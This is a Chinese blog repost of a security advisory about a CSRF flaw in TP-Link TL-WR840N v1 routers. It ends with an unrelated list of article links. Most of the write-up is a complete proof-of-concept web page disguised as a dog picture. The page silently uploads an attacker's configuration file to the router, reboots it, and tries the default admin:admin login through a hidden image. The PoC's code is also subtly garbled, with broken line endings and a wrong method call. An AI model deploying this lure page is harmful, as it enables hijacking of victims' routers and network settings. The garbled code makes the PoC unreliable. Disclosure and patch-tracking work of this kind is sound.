TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC测试过程)
时间:2022-04-26
本文章向大家介绍TP-link TL-WR840N系列路由器存在CSRF漏洞,可修改任意配置(含POC测试过程),主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。
免责声明:本站提供安全工具、程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
TP-Link路由器在国内的用户量很大,最近国外安全研究者发现TP-Link一个系列的路由器存在 CSRF 漏洞,攻击者可以修改路由器的任意配置,包括 DNS 等。
漏洞原理:
TP-Link TL-WR840N 路由器的管理后台提供了很多配置路由器的功能,其中一个功能是导入一个已经存在的配置文件,这个功能存在CSRF 漏洞,攻击者可以诱使路由器管理员访问一个恶意的网站,然后利用这个漏洞导入一个攻击者构造的配置文件,从而可以修改包括路由器的防火墙、远程管理等所有的配置项,当然,如果路由器管理员没有修改管理后台的密码,攻击成本就更低了,都不需要欺骗管理员登陆后台了。
攻击者可以在自己的路由器中设置一些配置项,然后将配置文件导出,就可以拿来do anything you want 了~
利用测试过程:
图一显示POC(概念验证)运行之前的配置情况
图二显示运行 POC 的情况
图三显示 POC 运行完之后,配置已经被改了
POC:
<html>
<head><title>Cool Dog Pic</title></head>
<body>
<script type="text/javascript">
exploit();
function getConfigureationFile(file){
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET",file,false);
xmlhttp.overrideMimeType("text/plain; charset=x-user-defined");
xmlhttp.send(null);
return xmlhttp.responseText;
}
function uploadFileToRouter(fileData, filename){
var boundary = "367815278484079563322656070";
var body = '';
body += '------------------------' + boundary + 'rn';
body += 'Content-Disposition: form-data; name="filename"; filename="config.bin"rn';
body += 'Content-Type: application/octet-streamrn';
body += 'rn';
for (var i = 0;i<fileData.length;i++){
body += String.fromCharCode(fileData.charCodeAt(i) & 0xff);
}
body += 'rn';
body += '------------------------' + boundary + 'rn';
body += 'Content-Disposition: form=data; name="Restore"rn';
body += 'rn';
body += 'Restorern';
body += '------------------------' + boundary + '--rn';
var xmlhttp = new XMLHttpRequest();
xmlhttp.post("POST","http://192.168.0.1/incoming/RouterBakCfgUpload.cfg",true);
xmlhttp.withCredentials = true;
xmlhttp.setRequestHeader("Content-Type", 'multipart/form-data;boundary=-------------------------------' + boundary);
xmlhttp.setRequestHeader('Content-length', body.length);
xmlhttp.sendAsBinary(body);
}
function rebootRouter(){
var xmlhttp = new XMLHttpRequest();
xmlhttp.open("GET","http://192.168.0.1/userRpm/ConfUpdateTemp.htm",true);
xmlhttp.withCredentials = true;
xmlhttp.send(null);
}
function sleep(milliseconds){
var start = new Date().getTime();
for (var i = 0;i<1e7;i++){
if ((new Date().getTime() - start) > milliseconds) {
break;
}
}
}
function exploit(){
sleep(3000);
var c = getConfigureationFile('config.bin');
uploadFileToRouter(c,'config.bin');
rebootRouter();
}
</script>
<img src="http://fc05.deviantart.net/fs71/f/2012/092/a/e/aww__derp_puppy_by_chrisiipoo-d4uuah3.jpg"></img>
<img width='0' height='0' src="http://admin:admin@192.168.0.1" class="hidden"></img>
</body>
修复方案:
升级到固件3.13.27, build141120 或更新的版本。
影响范围:
TL-WR840N v1 (固件版本 3.13.27, build140714 或更早的)。
[参考来源secureworks,文/实习编辑 吴知,转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)]
- JDK8之新特性扩展篇
- Java管理Cookie增删改查操作。
- Intellij Idea乱码解决方案都在这里了
- 神奇,教你用随机数打印hello world
- Mapreduce任务实现邮件监控
- Eclipse中Maven打包程序并在Linux中运行
- SDN开发笔记(七):L2switch源码分析(上)
- spark使用zipWithIndex和zipWithUniqueId为rdd中每条数据添加索引数据
- Spring Boot Server容器配置
- Spring Boot读取配置的几种方式
- 如何用TensorFlow构建RNN?这里有一份极简的教程
- (1024程序员节快乐)阿里祭出大器,Java代码检查插件
- Java多线程神器:join使用及原理
- SpringCloud配置中心内容加密
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- Oracle 数据库表空间不足拓展方法实例演示,表空间剩余大小查看,通过新增表空间文件拓展表空间,表空间文件路径查看
- dbvis 数据库连接工具-更新数据库驱动方法示例演示,驱动与数据库版本不匹配问题:Unknown system variable ‘query_cache_size‘解决方法
- Chrome 插件开发-主动获取所有页签的tabid,background.js直接向所有页签同步传递消息
- Python 技术篇-httpClient库连接服务器发送请求解析响应实例演示,No module named ‘httplib‘问题解决方法
- Windows 技术篇-windows家庭版win+R运行搜不到gpedit.msc组策略编辑器解决方法,windows安装组策略编辑器方法
- SpringBoot中Tomcat是如何启动的
- JavaScript 技术篇-chrome浏览器读取剪切板命令document.execCommand(‘paste‘)返回false原因及解决方法
- Linux 技术篇-文件大小查看方法实例演示,查看指定文件大小,查看列表下所有文件夹和文件的大小
- Python 技术篇-判断指定路径下的文件是否处于打开状态或占用状态实例演示
- Python 爬虫进阶篇-利用beautifulsoup库爬取网页文章内容实战演示
- Windows 技术篇-cmd强制关闭端口、解除端口占用方法,cmd查询端口相关的进程pid并杀死进程实例演示
- PL/SQL 数据库连接工具的下载、安装与使用实例演示
- JavaScript 技术篇-JSON字符串在线快速格式化查看实例演示,json.cn网址格式化json字符串
- Python 技术篇-含中文编码的代码运行方法,(unicode error) ‘utf-8‘ codec can‘t decode问题原因及解决方法
- Spring Boot Actuators